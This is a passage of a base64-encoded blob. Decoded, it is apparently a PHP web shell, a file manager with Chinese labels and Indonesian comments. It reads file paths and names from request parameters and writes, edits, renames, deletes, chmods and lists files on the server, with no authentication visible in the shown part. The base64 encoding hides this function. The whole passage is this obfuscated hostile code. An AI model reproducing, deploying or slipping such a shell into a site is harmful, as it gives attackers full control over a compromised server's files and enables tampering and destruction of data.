iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVq